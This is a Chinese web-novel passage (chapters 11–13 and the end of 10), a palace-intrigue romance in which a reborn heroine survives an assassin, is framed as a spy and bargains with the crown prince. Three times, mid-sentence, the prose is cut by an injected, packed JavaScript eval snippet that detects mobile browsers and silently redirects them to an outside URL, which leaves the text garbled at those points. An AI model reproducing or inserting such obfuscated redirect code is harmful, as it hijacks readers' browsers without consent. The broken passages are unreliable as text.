早春的日光明媚而柔和,香炉里的檀香静静燃着,晃动的树影落在纸页上,吸满了墨汁的笔尖发出沙沙的声响。裴旖沉浸在这瞬难得的静谧里,心也静了下来。两人从午后抄写到傍晚,谢颜有生以来第一次安安份份坐这么久,直呼背痛。裴旖含笑帮她揉了揉肩膀,一旁的婢女委婉催促宫门即将下钥,两人依依不舍约好了明日辰时再见。 送谢颜出门后,裴旖回殿内整理桌案上的东西。她细致将两人的手稿分别按顺序整理好,又把经书抚平装回盒子里,余光忽然瞟见案上的烛火极轻地一晃,背后一阵风若有似无闪过,带着些许春夜的凉意。 裴旖以为是青霜,叫了声她的名字,但没有得到回应。 她心觉奇怪,转回身,漆黑瞳孔骤然剧缩,瞬息之间,只来得及看到一抹箭影与剑尖上的凛冽寒光,径直向她刺来—— 11. 第 11 章 裴旖整条脊背瞬间凉透,她的身体比意识先一步做出反应,本能向后跌了半步,后腰重重撞在桌案的边沿上,同时顺手抓起来案上的书盒,正要挡在身前自卫时,黑衣人突然剑锋一转,朝她面门劈了过来。 剑光凌厉而凶狠地将空气划出刺耳的声音,裴旖的呼吸在极度的紧绷之下窒息收紧。她蜷起身子往侧边狠狠一躲,重心不稳跌倒在地上,将一旁的架子撞倒,上面的瓷器滚落哗啦洒了一地,殿外的人终于听到声响进来,失声尖叫道:“有刺客!!快来人!!” 这一刀劈在桌案上,留下一个碗大的缺口。裴旖狼狈伏在地上,下意识抱紧了怀里的盒子,手指的骨节因为紧张而颤抖泛白。她被夹在桌案和墙壁之间已然无处可逃,黑衣人提着剑居高临下看她一眼,出乎意料没有再下手,而是动作利落地翻窗离开了。 裴旖惊魂未定望着对方逃走的方向,青霜小脸儿吓得煞白,跑过来扶她起来:“郡主!你受伤了没有?!” 她恍惚摇了摇头,整个人还是懵的,搭着青霜的手腕坐到凳子上,好半天身体才逐步恢复知觉,后知后觉感到手肘和膝盖上的钝痛。 殿外的侍卫得知有人行刺后鱼贯而入。很快,贵妃和公主也到了,淑贵妃一脸沉凝快步走在前面,抬手制止住了要起身行礼的裴旖。晏然紧跟在贵妃身后,表情也罕见的有些严肃,她站在殿内环顾一周,叫来侍卫询问情况,沉思片刻后,走过来打断了正在温言安抚的贵妃,问裴旖:“那刺客有什么特征?” 裴旖言简意赅回:“男子,一身黑衣,使剑,别的没有看清。” 对方又问:“可有什么可疑之处?” 她沉默少顷,摇了摇头:“并无。” 晏然的视线在她略有凌乱的长发上掠了一眼,定到她身后的婢女身上。那小婢女年纪不大,人看着倒也机灵,只是此刻不知是吓的还是憋的,站在裴旖身后一副憋憋屈屈欲言又止的模样。 淑贵妃也注意到青霜的异样,蹙起细眉问:“方才郡主出事时你在哪里?可是看到什么了?” 裴旖听言回头看向青霜,主仆两人相视的一瞬间,青霜的眼圈蓦地红了。 想起青霜上一次为她真情实感时的场面,裴旖心里隐隐有种不好的预感,但她还未来得及出言阻止,对方就已经一吸鼻子,带着哭腔不能自抑道:“方才郡主自身性命都不保了,还把太子殿下的书死死护在怀里,险些就出大事了!呜呜呜!” 裴旖:“…………” 晏然听言深深看她一眼,而后若有所思看向桌案上被挤压得变形的盒子,再望回来的时候,眼神里添了几分深意。 裴旖如芒刺背,如坐针毡,如鲠在喉。 救命,这些人该不会是以为她爱慕太子到了逾越自己性命的地步吧? 有没有一种可能,她只是随手抓了个最近的东西防身罢了? 淑贵妃心疼嗔道:“你这孩子,不就是一套经书吗,哪里还能有你自己的安危重要?” 裴旖尴尬扯了下唇,硬着头皮道:“这是殿下第一次借予臣女东西,自然是要完璧归赵。” 贵妃还要再说些什么,婢女走过来低声道:“娘娘,顾太医已经侯在殿外了。” 淑贵妃点头示意婢女请人进来。来人很是年轻,一身温润的书卷气,他走至裴旖身前跪下,诊过脉后清声道:“郡主的身体无碍,只是受了些惊吓,静养几日便可。微臣回去后会开一副药送过来,有劳青霜姑娘每日两次为郡主煎服。” 贵妃听言嘱咐裴旖道:“这几日你且安心在宫中休息,莫要再过来抄写经书了。” 裴旖犹豫了下,柔声请求:“娘娘关爱,只是这套经书就只剩下最后半卷,臣女想明日再过来将这半卷抄写完整,如此也算功德圆满。” 见她这样说,淑贵妃便也点了点头,并嘱咐晏然明日陪她一同前来:“眼下阿绥的状况未知,幼安在宫中断不可再出现任何闪失。” 裴旖抬眸看向晏然,以为她会很不情愿接手这个麻烦,没想到她淡漠嗯了声,并未拒绝。如此一来裴旖也不好再出言推辞,她整理好东西后,与晏然一前一后回到长宁宫。 夜色如墨,万籁俱寂。 晏然的脸色有些沉,一言不发快步走在前面。她习过武,脚步轻盈迅速,裴旖自然是比不上她,只能有些吃力的跟在后面,一面腹诽她跟她哥一样走这么快不管别人死活,一面注意到一路上宫中的守卫相比之前翻了一倍。 也难怪公主的脸色难看,原本晏然接她入宫就是为了保证她的安全,可谁能料到竟在天子眼下出了这样的事,这让皇家颜面何在? 如今在外人眼里,是有人三番两次想要取她性命,但只有裴旖自己知道,这一次才是货真价实的刺杀。 她不禁自嘲暗想,谎话果然是不能说太多次,这下不仅是旁人相信了,就连老天都信以为真了,甚至连刺客在最后关头出乎意料放过她的戏码都与她所编撰出来的一模一样,难不成这刺客与她一样,也是出于某种目的在作戏? 裴旖兀自想得出神,直到走进长宁宫后,走在前方的人突然停住脚步转回身。她也停了下来,抬起脸,晏然语气冷淡道:“我那里有去淤青的药膏,让你的人过来拿。” 裴旖眼露意外,正要道谢时,对方已经抬起脚走了。她望着晏然的背影欲言又止,而后眼神示意青霜跟过去,独自走回偏殿。 隔日,昨晚琼华殿有刺客行刺的消息被彻底封锁起来。听闻皇帝知道此事后大发雷霆,将侍卫总管痛骂了一顿,并给他三日时限将此事查清。裴旖派人去给谢颜传了话,说自己今日身体不适,怕是不能一起抄经了,待出宫后再邀请她来府上小聚。 早膳之后,裴旖与晏然两人先后踏入殿中。她铺开纸张,垂眸看着青霜磨墨。晏然拿了本书坐在一旁的椅子上看,白貂趴在她怀里滋溜滋溜地啃着一只果子。半晌后,裴旖无声望她一眼,主动搭话道:“还未多谢昨日公主的药膏,今早起来时,手臂上的淤青果然是淡多了。” 晏然翻了一页书,声音不咸不淡:“那药是皇兄身边的人配出来的,你要谢便等他回来去谢他吧。” 裴旖顺着她的话问:“殿下这几日可有新的消息传回?” “没有。” 对方静了半刻,又道,“你不必太挂心,皇兄出门在外时,没消息便是好消息。” 裴旖敛眸暗哂,若是任由事情按照上一世的轨迹继续走下去,用不了多久,她们就会接连听到关于太子的坏消息了。 她垂下眼,拿笔在砚台上吸满了墨水:“听说这几日朝中为了殿下是否回京吵个没完。” 椅子上的人没有回应,裴旖接着又问,“关于天相之说,公主怎么看?” 晏然心不在焉戏谑:“皇兄决定的事,天也阻挡不了。” 裴旖问:“那谁可以阻挡?” 面前人终于抬起头看她一眼,意味不明反问:“你希望皇兄回京?” “是。” “为何?” “为了活命。” 裴旖面色自若道,“自殿下离京之后,我已经遭遇两次行刺之事。” “你怎么就认定这两次的事情与皇兄相关?” 晏然手指揉了揉貂儿鼓满的腮,抬眸睨着她,“长公主失散多年的女儿,与太子仅有几面之缘的太子妃,这两个身份,怎么看都是前者才更有刺杀的价值吧?” 裴旖镇定反问:“倘若与殿下无关,殿下又为何会让公主前来接我入宫呢?” 晏然无声看她半晌,而后忽然掀了掀唇,不冷不热道:“你既是因为东宫才无辜遭的难,无需皇兄回京,我自会护你周全。如今你住在我宫中,又是我请来的人,若你在此期间出了什么差池,我脸上也无光。” 裴旖静声道:“公主自然是能护我周全,只是对方的真正目的不在于我,而是殿下。若是不能尽快斩草除根,只怕殿下远在千里之外也会后患无穷。” 面前人听言轻慢笑了一声,噙着唇意味深长悠悠道:“你若是想要皇兄回来,办法倒也不是没有,只是有件事我一直不明,还望郡主能够解答。” 她缓缓放下书,盯着裴旖的脸,似乎要将她看透,“皇兄临行那日,你到底对他说了什么,以至于他明知道你在骗他,却还是愿意出手相助?” 裴旖握着笔的动作倏然一顿,两人无声相视,宛若对峙。下一刻,殿门突然被人从外面打开,接着一队身着暗青色制服的侍卫分两路快步进来,将殿内的两人远远围住。 角落里正在打瞌睡的青霜听到声音后睁开眼,一脸茫然。裴旖余光打量着来人,心里对即将发生的事情隐约有所预料。 晏然皱起眉,眸色露出不悦。为首的男人走上前,向她恭敬行了一礼,面无表情道:“下官奉命来此处办案,如有打扰还请公主见谅。” 他拿出一封信展开,转过身来,盯着裴旖:“郡主可认得这笔迹?” 裴旖垂眸看过去,那纸上的字体秀雅清丽,看起来再熟悉不过,正是她自己的笔迹。 果不其然,长公主这么快就按耐不住了。 她淡定回道:“这笔迹乍看之下,倒有几分像是我的。” 男人冷声道:“郡主好眼力,这便是从南呈探子的住处搜出来的书信。他已经供认这封信为郡主亲笔,同时供出郡主的真实身份为南呈梵阳人,冒充长公主之女接近储君。那日郡主房中失火,也是因为你二人在见面时发生争执,而那块令牌的主人,正是郡主本人。为了查清此事,还要烦请郡主跟下官走一趟。” 对方的话音落下后,殿内陷入一片死寂。 青霜的脸色惨白惊恐,跟上一世裴旖被人从卧房中搜出令牌时的表情一模一样,就好像裴旖的罪名一旦落实也会诛她的九族一样。 晏然则是惊疑看向裴旖,但见她面色镇定,毫无慌乱,黑眸里透着股平静又凌厉的寒意,一时倒对她生出几分钦佩之意。 有方才护她周全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930955|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的承诺在先,没等裴旖作出回应,晏然先一步冷下声音:“秦大人,她是本公主的客人,你岂能说带走就带走?” 裴旖心下暗诧,没有想到这人竟是玄武卫的副指挥使,秦策。 玄武卫身为皇帝的亲军卫队,专为皇帝办事,也直接听命于皇帝。而相传这位小秦大人是出了名的铁面无私,忠心耿耿,深得皇帝的信任,甚至被赋予了特权,在查案遇到紧急情况时,可以先行动,后请旨。 秦策神情冷漠:“下官秉公办案,还请公主莫要妨碍。” 晏然问:“你既是秉公办案,逮捕令在哪里?” 秦策沉默看她一眼,从腰间拿出一块牌子。 晏然冷笑:“擅闯后宫,治罪皇亲,父皇给你的令牌就是让你这样用的?” 对方毫不退步:“此事涉及储君安危与皇家颜面,事出紧急,请公主顾全大局,切莫感情用事。” 晏然站起身,她的身高矮身前的男人一头,气场却丝毫不输,声色俱厉道:“秦大人,你应该知道诬陷皇亲是什么罪名吧?仅凭一个探子的一面之词,你大张旗鼓在后宫逮捕郡主,又是将皇家颜面置于何地?” 二人间的氛围剑拔弩张,周遭的空气几乎凝固。男人似是不耐与她继续争辩下去,转过头用眼神示意手下的人动手,一旁久未作声的当事人突然开口:“秦大人。” 两人同时望了过来。裴旖静声道:“我可以跟大人走,只是单凭一封信就定我罪名的话,传出去恐怕是会影响玄武卫的声誉。” 秦策沉声道:“郡主言重了,在此事调查清楚之前,无人敢定郡主的罪名。” 裴旖笑了:“大人谦虚了,你虽不敢定我的罪名,但却敢带着玄武卫上门,将我像犯人一样层层围住。” 面前的人沉默不语,裴旖继续镇定自若道:“倘若那探子存心诬陷我,伪造一封这样的书信轻而易举。” 她随手拿起桌案上的几张手稿,作出困惑不解状,“何况大人手上这一封还模仿得如此拙劣,怎么会欺骗到一向以敏锐而著称的大人呢?” 秦策沉眸瞟了眼她手上的手稿,他身后的小侍卫心领神会,走上前要接过去,裴旖却忽然扬起手一甩,十来张纸页洋洋洒洒飞向空中,擦着那小侍卫的脸落到了地上。 这番行径无异于当众打脸,秦策的脸色又沉了几分,裴旖面不改色微微笑着,仿佛刚才作出无礼举动的人根本不是她一样:“至于大人所说的口供,则更是对方的一面之词了,与这封信一样荒唐无稽。” 她停了瞬,淡声笃定道,“所以,今日大人敢如此阵仗登门来缉拿我,且治了我不止一条死罪,定是还有其它的缘由。” 秦策闻言深深看她一眼,眸色明显有些意外。裴旖扬声继续道:“眼下公主也在场,还望大人明确告知,让本郡主今日死也能死个明白。” 半晌,面前人终于开口:“那个南呈探子说,他与你共同听命于大昱的一位高人。” 裴旖盯着他的脸:“何人?” 他静了半刻,沉声吐出两个字:“东宫。” 裴旖听言惊异一愣,晏然已然怒不可遏,手里的鞭子狠狠甩了过去,厉声斥道:“放肆!你们玄武卫就是这样办案的?!” 秦策来不及闪躲被抽到了脖子,晏然这一下使的力道不轻,他颈上登时浮出一道红痕。他的脸色憋得铁青,对方还欲扬手再抽过来时,他抬手硬生生接住了她的鞭子,眉心因为疼痛而微微抽动,咬着牙道:“公主小心!” 裴旖眼望两人争执,脑袋里思忖得飞快。不出她所料,长公主果然将计就计,安排了一个子虚乌有的探子来诬陷她。但出乎她意料的是,对方竟然将太子也牵连进来。 如此一来,按照探子的说法,是太子安排她假冒郡主,一面用她来牵制长公主府,另一面通过她与南呈勾结。 好一个一石二鸟。 她心中原本模凌两可的猜测逐渐变得清晰,原来上一世在她入狱之后,他们是这样将矛头逐步转到太子身上的。 这般的诬陷看似荒谬,但其实只是长公主姐弟的第一步棋而已。他们并不求这一举就能扳倒太子,他们的目的是要将太子与勾结外族这个罪名关联在一起,然后再不停地制造类似的事件重复这个罪名。同样的诬陷第一次听起来时是荒诞可笑,可是次数多了之后,就难免令人生疑了。 看清楚这一点之后,裴旖眸色越发沉静。面前的两人还在相持不下中,晏然显然是真动了怒,每一招里都透着狠意,秦策在众目睽睽之下扛了她几鞭之后已然有些狼狈,他压着躁郁问裴旖:“郡主的问题下官已经解答过了,现在郡主可以跟下官走了吗?” 裴旖启开唇,正要回话时,身后忽然闲闲响起一道声音:“不可。” 她怔了下,反应过来后,震惊睁大了眼回过头。 熟悉的挺拔身影立在门前,他的表情背着光看不清楚,腔调仍是一贯的孤傲散漫:“孤的人,秦大人想带到哪里去?” 12. 第 12 章 众人惊愕不已,皆没有料到晏绥竟然会在这个时候回京。半晌后,晏然率先收起鞭子,皮笑肉不笑道:“皇兄回来得正好,秦大人不仅是要带郡主一个人回去,这次的罪名皇兄也有份呢。” 晏绥走至几人面前,黑色披风带进殿外的寒气,裹挟着他身上独有的压迫感。他淡淡扫一眼裴旖,又瞟了眼散落一地的手稿,在她刚刚坐的椅子上坐了下来,视线定在了桌案上那部摊开了的旧经书上。 裴旖头皮蓦然紧张一麻,心虚地默默将脸别向了另一侧,脸上平静镇定,心里已经在尖叫救命。 他不是中了毒箭生死未卜吗?怎么会突然回上京? 这一世她不会还没被长公主害死,就先把晏绥惹恼被他杀死吧??? 晏绥抬起手,指节在书脊上敲了两下,不咸不淡道:“郡主见到孤连话都不会说了,看来真是被秦大人的阵仗给吓到了。” 裴旖正走神儿想着他突然回京会不会是因为身上的毒伤病入膏肓时日无多了,一时没有回应。青霜不知何时悄悄来到她身后,等得心急如焚,在背后狠狠杵了裴旖一下,她终于回过神来,鬼使神差应了声:“是。” 这一声落下后,晏然和秦策同时意味深长侧目望了过来。裴旖彻底回过神来,尴尬得恨不能立刻原地再重生一回。 晏绥哪里是在为她不平,分明是在指责她没有向他行礼问安,可她这么一应,反倒真像是受了委屈撒娇让他给她撑腰似的。但倘若此刻再去行礼,未免显得更加做作刻意,她屏息闭了闭眼,决心装死到底。 晏绥也掀眸望了过来,她的脸朝向与他相反的方向,面容还是一贯的端庄沉静,可是耳朵却悄悄地红了。 他不禁暗嗤,有利用他的贼心,又没那个敢作敢当的胆子。 “下官奉命办事,如有失礼之处,还望郡主见谅。” 秦策沉沉出声,“但今日之事事关重大,还请郡主跟臣走一趟,配合下官查清此事,以还郡主清白。” 晏绥靠进椅子里,腔调散漫道:“孤已经命人去玄武卫提人,此事既涉及东宫,孤亲自来查。” 秦策皱紧了眉:“这不合规矩,殿下。” “那个南呈探子是谁给你送过去的,孤的皇叔?还是孤的姑母?” 晏绥的语气轻描淡写,气场却强势得不容抗拒,“姑母的女儿是真是假,乃我晏家的家事,秦大人也想参与?” 对方锁眉沉声应:“下官不敢,只是——” 一名身着暗红色火焰纹制服的人忽然踏进殿中,向座上的人一拜,打断了秦策未说完的话:“方才属下奉殿下之命到玄武卫提人,负责的看守说,那个南呈的探子死了。” 秦策惊诧转过头来:“死了?!” 来人声音沉稳道:“就在刚刚,为人暗杀。” 裴旖眸光一凛,下意识望向晏绥。他的脸色平淡,手上漫不经心把玩着她方才抄经用的那支笔,似乎对于此事毫无意外。 她心中暗忖,这个假探子本就是被安排用来诬陷他们二人的,太子骤然回京,想来对方也措手不及。若是此事由晏绥亲自审问,以他的手段,那探子难保不会供出幕后的人,因此是谁这般急不可耐灭口,昭然若揭。 晏绥掀了下唇,话是朝着秦策的,可眸光却意味深长看向裴旖:“如此看来,孤更不能将郡主交给秦大人了。万一郡主也在玄武卫出事,孤要去哪里才能再寻到一位这样能言善辩又胆大包天的储妃?” 一句话阴阳了两个人,裴旖暗暗抿了抿唇,秦策的脸色阴沉难看,片刻后,他沉默僵直行了一礼,转身快步离开了琼华殿。 晏然察言观色,早看出今日晏绥关注的人不是自己,纵使腹中对他突然回京之事百般疑惑,还是很有眼色地先行离开了。 青霜和侍卫也相继退出,很快殿内就只剩下裴旖与晏绥两人。 椅子上的人半天没有动作,也没说话。裴旖不得已慢吞吞将头转了回来,紧张垂着眼,心虚开口:“殿下怎么突然回京了?” 晏绥冷淡睨她一眼:“孤再不回来,东宫都要被你偷光了。” 裴旖不辩解,也不接话,轻声细语另问:“听闻前些日殿下身中毒箭,如今殿下的伤可好些了?” “暂时死不了,你若还有什么事要用到孤的,得趁早办。” “……臣女不敢。” 他冷哂道:“你连纵火都敢,还有什么是不敢的?” 裴旖心脏猛地一坠,低着脸静默不语,但对方又怎会因为她的沉默就放过她:“方才你被人冤枉时不是很会辩解吗,这会儿不说话了,看来是孤并没有冤了你?” 裴旖没有正面回话,轻声道:“殿下若已认定此事,臣女即使分辩,在殿下眼中也是狡辩。” 晏绥大掌压在桌案那沓手稿上,神色玩味地看着面前的人。 方才在来到琼华殿之前,他已经听人汇报过了她这些日的所作所为。他这位储妃不仅是能言善辩,还很擅长作戏,即使是他不在京城,她也能一个人演出来两个人的情深意重。 胆大包天来东宫行骗拿走他的经书,在宫里大张旗鼓为他抄经祈福,甚至入戏太深,连被人刺杀时都不忘把书护在怀里,不惜利用一切机会身体力行昭告天下,这是他第一次借东西给她,情谊深重,重过性命。 说谎时面不改色,作戏时以假乱真,被诬陷时冷静沉稳。他都不知到底是从前她藏得太深,还是他太小觑了她,一个小门小户出身的医女,竟然如此心机深重。 晏绥定定看着她的脸,漆沉黑眸深不可测。 若非在她回京之初他就曾派人去长陵查过她的过往,此时此刻,他也会觉得她像是个探子。 久未得到回应,裴旖悄悄抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930956|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眼,只见他正神色不明盯着自己,眸底幽沉得令人心悸。他沉默得越久,裴旖就越慌乱,想了想,她小心翼翼岔开话题:“今日之事,殿下以为如何?” 晏绥的语气真假难辨:“如此看来,那日郡主说看到凉昭使臣与人会面谋算你与东宫,所言非虚。” 还没等裴旖松一口气,他的话锋一转,接着淡声道:“不过数日之前,孤在京郊碰巧也抓到了一个南呈探子。他与郡主同时在桃源驿看到了使臣与人会面,可听到的话却和郡主所言截然相反。” 裴旖太阳穴倏然狠狠一跳,面前人盯着她的脸,一侧唇尾掀起,笑意却半分也没有到达眼底:“你们两个,谁在骗孤?” 窗边的香炉烟气袅袅,殿内一片凝固般的寂静。 裴旖暗暗深呼吸定了定神,硬着头皮开口:“臣女——” “想好了再说。” 面前人漫不经心打断了她,他的姿态十足散漫,气场却压得人窒息。 “你只有一条命。” 裴旖启着唇顿了顿,喉咙因为紧张而干涩。 承认欺骗他与继续欺骗他显然都不是能好好活命的选择,但既有当初,她对今日的局面也不是全然没有预料。她沉眸用力压住心头的惊慌,抬起脸正欲再开口时,眼前忽然有道黑影从天而降,也不知是什么东西,径直落在了她脚旁。 裴旖被骇了一跳,下意识仰头看过去,房梁上竟不知何时爬上了两个黑衣人,其中一人看身型还是个年轻姑娘,弯着眼冲她热情挥了挥手,想来应该就是传说中东宫里那些个神出鬼没的暗卫了。 她敛眸收起视线,定神向地上看过去。 伏在她脚旁的是张成年男子的面皮,血迹斑驳将干未干,依稀散发着潮湿而浓重的热乎腥气,似乎是不久前刚刚从哪个人身上剥下来的。 裴旖震惊愣了半刻,大脑轰然嗡一声响,本能向后踉跄退了两步,腿一软,扑通一声跌坐在地上。 虽然她曾经死过一次,经验比起一般人来说已经算是丰富,可是眼前这样的场景,于她而言还是太歹毒了。 她僵硬扭头强迫自己看向一旁,但那画面依旧在她眼前挥之不去,湿热的血腥味也黏糊糊萦绕在鼻息,她用力将指甲掐进手心忍住干呕,根本无暇注意到椅子上的人是何时起身,一步一步朝她走过来,最后停在了她身前。 裴旖余光瞥见他的鞋尖,感受到他的迫人视线停在她的脸上。她低头闭上眼,可那道凛冽的压迫感并没有因为她的自欺欺人而消失,下一瞬,她的下颌倏然一痛,对方的力道根本不容抗拒,她毫无反抗之力地被迫仰起脸。 裴旖睁开眼,眼尾隐隐泛开潮湿。晏绥蹲在她面前,狭长黑眸微微垂着,指腹在她的苍白脸颊上慢条斯理蹭着,仿佛是在感受人皮的触感。 “孤的问题,郡主想好怎么回答了吗?” 13. 第 13 章 沉淡的甘松香气扑进鼻息,裴旖被迫仰起脸看着面前的人,他的唇角淡淡勾着,黑眸里却尽是凛冽冷意,两人的距离近在咫尺,却不见丝毫的暧昧,只有无穷无尽的危险,几欲将人吞噬。 裴旖的眸光因为胃里的翻涌而有些涣散,但没有时间给她休整,下颌上越来越重的力道提醒着他所剩无几的耐心。她暗暗咬住下唇,强行让自己至少看起来是镇定的,少顷之后,静声开口:“我可以协助殿下。” 她的回答不是晏绥预设中的任何一种,但却像上一次一样,再次轻而易举勾起他的好奇心:“你协助孤?” 裴旖的脸颊被他的大掌钳得发痛,但又不敢挣扎,只能维持着这样略有难堪的姿势,垂下眼,语速微微加快:“殿下与我都十分清楚,会被人觊觎的并非是我的郡主之位,而是殿下的储妃之位。在对方眼中,我只是掣肘殿下的一颗棋子,倘若殿下今日杀了我,那正好遂了他们的愿,他们会想方设法将我假郡主的罪名扣实,继而再安排一颗更好掌控的棋子接近殿下。” 晏绥似笑非笑:“你觉得孤会任人摆布?” “殿下当然不会。” 裴旖强迫自己抬起眸,迎上他的凌厉视线,“我也不会。” 晏绥定定看着她的脸,漆沉眼眸深不可测。她继续道:“殿下与郡主的婚约为当年先帝所定,殿下孝心深厚,无论郡主是谁,殿下都会让她入主东宫。也正因如此,这个位置才会如此惹人觊觎,这个位置上的我,才会几次三番遭人诬陷、刺杀、置于死地。” “我自知与殿下并无情谊,所以即使有婚约在身,也从未奢求过有朝一日能与殿下两情相悦。当日我请求殿下庇护的确是出于私心,但从始至终,我都只是为了保全自己。我与殿下的利益相同,敌人也相同,唯一的区别是殿下心系天下,而我只想手刃陷害我之人,因此于情于理,对于殿下而言,我都是这个位置最合适的人选。” 她深吸口气,最后道,“我可以协助殿下,做殿下所需的储妃。” 晏绥无声看她半晌,最后意味不明笑了:“说得不错。” 裴旖并不觉得他是在夸赞自己,他的不明态度令她更觉紧张忐忑,但事已至此,她也只能强撑镇定。果不其然,下一瞬,他话锋悠悠一转:“不过孤所需的储妃,和郡主以为的可能不太一样。” 男人俯身缓慢压了过来,裴旖漆黑瞳孔颤了颤,心脏砰砰狂跳,本能想扭头躲开,可下颌被他牢牢掐着动不了,只能眼睁睁看着他的俊朗面孔不断放大,最终停在她耳侧,幽幽开腔:“无论郡主这个位置上的人是谁,她会如愿嫁入东宫,也会在新婚之夜暴毙。” 裴旖的身体蓦然一僵,喷洒在她颈侧的热气瞬间化成阴冷的寒意,毫无预兆侵进她的单薄脊背。 她余光瞟到地上那张血淋淋的人皮,脑子里恍惚想着他的话,的确,活人才需要费心去分辨真假。 他所需的储妃,是死人。 微凉的粗粝指腹缓缓蹭着她的滑腻脸颊,他的腔调有种慢条斯理的残忍:“这样,郡主也愿意吗?” 裴旖紧张地咽了下口水。她深知自己才说过要与他同盟,此刻绝不能自乱阵脚打自己的脸,静默片刻后,强作镇定回道:“不愿意。但倘若我横竖都是一死,死在东宫应该会更体面些。” 面前的人低哂一声,忽然放开她,起身站了起来。 裴旖十分意外他竟就这样放过自己,下意识仰头看向他,苍白脸上露出几分茫然。 他瞟一眼她,不咸不淡奚落:“怎么,郡主已经等不及新婚之夜了?” 裴旖今日所受的惊吓不小,但也听出他暂时不打算将她怎么样,无论是出于何种原因,她高悬的心脏终于暂时归位,低头撑着地面慢慢站起身。 晏绥神色莫测看着她的动作,她低着头,脖颈白皙而纤细,似乎一只手就能轻易掐断,脸颊上的淡红指痕深浅不一,隐约可见他的指节。 他眼底闪过一瞬轻不可察的幽黯,随后收起视线,抬脚淡声命令:“书拿上,来东宫。” * 裴旖在长信殿外从正午抄经到晚上,才知什么叫死罪可免,活罪难逃。 因为昨晚的刺杀她早膳时就胃口不佳没吃几口东西,几乎整日水米未进,她又饿又倦,眼睛累得有些花,手也酸得渐渐控不住笔,心情从最初的心虚认罚,逐渐演变成了对晏绥的怨气。 她不就是骗了他一套经书吗,他难道还想活活饿死她?想当年她在牢狱里日日受刑都一顿饭没有少过,如今她倒连个囚犯都不如了,他凭什么这么虐待她?! 她心中愤愤腹诽,手上也不禁加重了力道,像是把笔下的纸当成了某人的脸皮似的,每一笔都凶狠得恨不得穿透纸背。 眼看着天色越来越暗,青霜在一旁急得要命,但又被明令禁止上前。她望了眼远处的书房,自知去求太子也无用,焦灼环顾一周,将目光定到了房檐下的南风身上。 两人一番交涉之后,南风走过去给裴旖添了盏灯,默默看了眼椅子上的人,回来后低声对身旁的人道:“郡主无妨。” 青霜一脸狐疑:“你是怎么看出来的?” 郡主原就生得柔弱,眼下在冷风中抄了大半天的书,歇又不让歇,水也不给喝,怎么可能无妨? 南风笃定道:“郡主眼神明亮,笔锋有力,看她这个状态再抄几个时辰也不成问题。” 青霜不可置信看着他的脸:“……你确定?” 南风嗯了声:“而且郡主也没有在抄经书。” 青霜越听越觉得离谱:“那她在抄什么?” 南风神神秘秘压低声音:“殿下的名字。” 青霜惊讶张了张嘴,南风朝她意味深长点点头,一副只可意会不可言传的模样。 她将信将疑望向殿前的单薄身影,想起昨日对方也是这般将殿下的书护在怀里的。原本她还犹豫要不要寻个机会出去找贵妃来平息今日之事,如此看来,还是多一事不如少一事。 什么争执,什么体罚,那都是小情侣小别重逢的情趣罢了,外人少管。 两人继续守在檐下,又过了半个时辰后,太子身边的近侍终于出现,提着灯毕恭毕敬向裴旖行了一礼:“殿下请郡主前去书房。” 裴旖扔下笔长出口气,扶着桌子站了起来。 她后背和脖子酸痛得厉害,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936093|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条腿更是僵得发虚。她拖着这两条腿跟随对方走进书房,对方引她在软榻坐下,将她的手稿拿去交给了桌案前的人,而后走回来给她上了杯茶。 裴旖板着脸不想喝,但耐不住实在太渴了,加之等了半天也不见晏绥有开口的意思,没忍住端起来喝了半杯。 在她放下杯子后,椅子上的人闲闲翻着她抄的手稿,不疾不徐开腔:“玄武卫有消息了,那个探子是为他同族之人所杀,那封书信也被认定是伪造,此事到此为止。” 裴旖静默不语,她深知这些只是今日之事的结果,而不是真相。 换句话说,今日长公主姐弟对她的诬陷只是因为太子突然回京而被迫中断,并不代表他们会就此收手。 面前的人又道:“秦策冤了你,应当亲自来向你赔罪。” “不必了,秦大人也是公事公办。” 裴旖冷淡拒绝,“若是殿下没有旁的事,臣女想回去休息了。” 男人倚在椅子上,状似随口发问:“孤听闻,郡主颇通医理?” 此刻裴旖心里对他有怨气,胆子也大了不少,顾不上几个时辰前这个人才将一张血淋淋的人皮甩到她面前,语气生硬回道:“不通。” 晏绥淡淡睨她一眼:“这就是郡主说要协助孤的诚意?” 裴旖咬牙忍了忍,尽力使自己的语气听起来平心静气:“殿下有何事?” 晏绥心不在焉翻着手里的纸页,悠悠道来:“此番孤在行军途中遭人暗算,从刺客身上搜出了一种从未见过的毒药,倘若郡主有办法解开,那孤自会考量郡主今日所说之事。” 